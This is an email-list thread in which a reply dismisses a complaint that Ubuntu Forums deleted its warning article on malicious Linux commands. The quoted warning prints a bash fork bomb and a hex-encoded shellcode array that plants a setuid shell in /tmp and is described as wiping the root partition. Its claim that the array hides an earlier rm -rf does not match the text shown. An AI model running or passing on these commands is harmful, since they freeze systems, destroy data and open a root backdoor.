<div dir="ltr">Ummm.  There are literally tens of thousands of bits of code like this floating around the internet, which anyone can cook up with a few seconds of thought.  They are harmless on their own, so there is not much of a point posting one on a discussion forum.  What you posted is just a code fragment and not an actual exploit.  The Ubuntu moderators were correct in removing it for the reasons they stated... they don't want people accidentally cutting-and-pasting commands which could destroy their filesystems from a forum posting.<div><br></div><div>Also, this isn't a Linux forum.<div><br></div><div>-Matt</div></div></div><br><div class="gmail_quote"><div dir="ltr">On Thu, Dec 20, 2018 at 9:18 PM Command FreeBSD <<a href="mailto:commandfreebsd@gmail.com">commandfreebsd@gmail.com</a>> wrote:<br></div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex"><div dir="auto"><span style="font-family:sans-serif;font-size:12.8px">Hi,</span><div dir="auto" style="font-family:sans-serif;font-size:12.8px"><br></div><div dir="auto" style="font-family:sans-serif;font-size:12.8px"><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">The article that have spoken about Linux malicious commands that was posted in Ubuntu Forums was restored, but who accessed this link yesterday and this morning saw that this article has been deleted.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">Very strange!</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">I also posted this topic in Ask Ubuntu Estack Overflow Exchange: <a href="https://askubuntu.com/questions/1103483/why-the-article-that-have-spoken-about-linux-malicious-commands-that-was-posted?noredirect=1#comment1819053_1103483" style="text-decoration-line:none;color:rgb(66,133,244)" target="_blank">https://askubuntu.com/questions/1103483/why-the-article-that-have-spoken-about-linux-malicious-commands-that-was-posted?noredirect=1#comment1819053_1103483</a></p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">I want to tell for the newbies to Linux that the article that have spoken about Linux malicious commands that was posted in Ubuntu Forums was deleted: <a href="https://ubuntuforums.org/announcement.php?f=326" style="text-decoration-line:none;color:rgb(0,119,204);margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline" target="_blank">https://ubuntuforums.org/announcement.php?f=326</a></p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">The following messages was written in this article that was posted in Ubuntu Forums:</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">[quote] Ubuntu Forums has a strict zero-tolerance policy when it comes to posting dangerous commands. In the past members have been banned for posting dangerous commands. If the intent is malicious, this is simply unnacceptable. If it is meant as a joke – it is not funny.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">Please be cautious when a command is suggested or if directed to download script/s as a solution to a problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). If you have any doubts about the content of a command or script, report the post/thread and forum staff will investigate.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">Please take care when posting commands or scripts to assist other users. Post only well known, documented and current commands appropriate for the operating system in use, or scripts from reputable sources. If you do post commands in order to help someone but which have the potential to be dangerous, always make sure you warn possible users of the dangers, not just to the user you are helping, but others who may come across the post later. If posting scripts that help with various tasks, please be prepared to provide a source and description of the content. [/quote]</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">[quote] Forkbomb: It is a malicious script that will execute a huge number of processes until your system freezes, forcing you to do a hard reboot which may cause data corruption or data damage.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON'T EXECUTE THEM! [/quote]</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">[code] :(){ :|:& };:[/code]</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">[quote] The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">char esp[] <strong style="margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;line-height:inherit;font-family:inherit;font-size:inherit;vertical-align:baseline">attribute</strong> ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; [/quote]</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">The messages that I quoted above was written in following link: <a href="https://ubuntuforums.org/announcement.php?f=326" style="text-decoration-line:none;color:rgb(0,119,204);margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline" target="_blank">https://ubuntuforums.org/announcement.php?f=326</a></p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">This article have opoken about Linux malicious commands.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">Why this article that have spoken about Linux malicious commands that was posted in Ubuntu Forums was deleted?</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">I posted this topic in Ubuntu Forums, but this topic was moved to The Jail and then deleted.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">It appears that Ubuntu Forums administrators want to fool the newbies.</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">EDIT:</p><p style="margin:0px 0px 0.8em;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">I want to tell for the newbies to Linux that the article that have spoken about Linux malicious commands that was posted in Ubuntu Forums was deleted and that it appears that Ubuntu Forums administrators want to fool the newbies: <a href="https://ubuntuforums.org/announcement.php?f=326" style="text-decoration-line:none;color:rgb(0,119,204);margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline" target="_blank">https://ubuntuforums.org/announcement.php?f=326</a></p><p style="margin:0px;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">Who accessed the Ubuntu Forums this morning saw that I posted about malicious commands in General Help and News to Ubuntu in Ubuntu Forums, but the topics that I posted in Ubuntu Forums was deleted. Very strange! It appears that Ubuntu Forums administrators want to fool the newbies.</p><p style="margin:0px;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)"><br></p><p style="margin:0px;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)">I also posted this topic in debian users and ubuntu users mailing lists:</p><p style="margin:0px;padding:0px;border:0px;line-height:inherit;font-family:"helvetica neue",helvetica,arial,sans-serif;font-size:15px;vertical-align:baseline;color:rgb(12,13,14);background-color:rgb(255,255,255)"><br></p><div dir="auto" style="font-size:12.8px"><a href="https://lists.debian.org/debian-user/2018/12/msg00573.html" style="text-decoration-line:none;color:rgb(66,133,244)" target="_blank">https://lists.debian.org/debian-user/2018/12/msg00573.html</a><br></div><div dir="auto" style="font-size:12.8px"><br></div><div dir="auto" style="font-size:12.8px"><a href="https://lists.ubuntu.com/archives/ubuntu-users/2018-December/296077.html" style="text-decoration-line:none;color:rgb(66,133,244)" target="_blank">https://lists.ubuntu.com/archives/ubuntu-users/2018-December/296077.html</a><br></div><div dir="auto" style="font-size:12.8px"><br></div><div dir="auto" style="font-size:12.8px">I am revolted against the injustice of Ubuntu Forums administrators and moderators .</div></div></div>
</blockquote></div>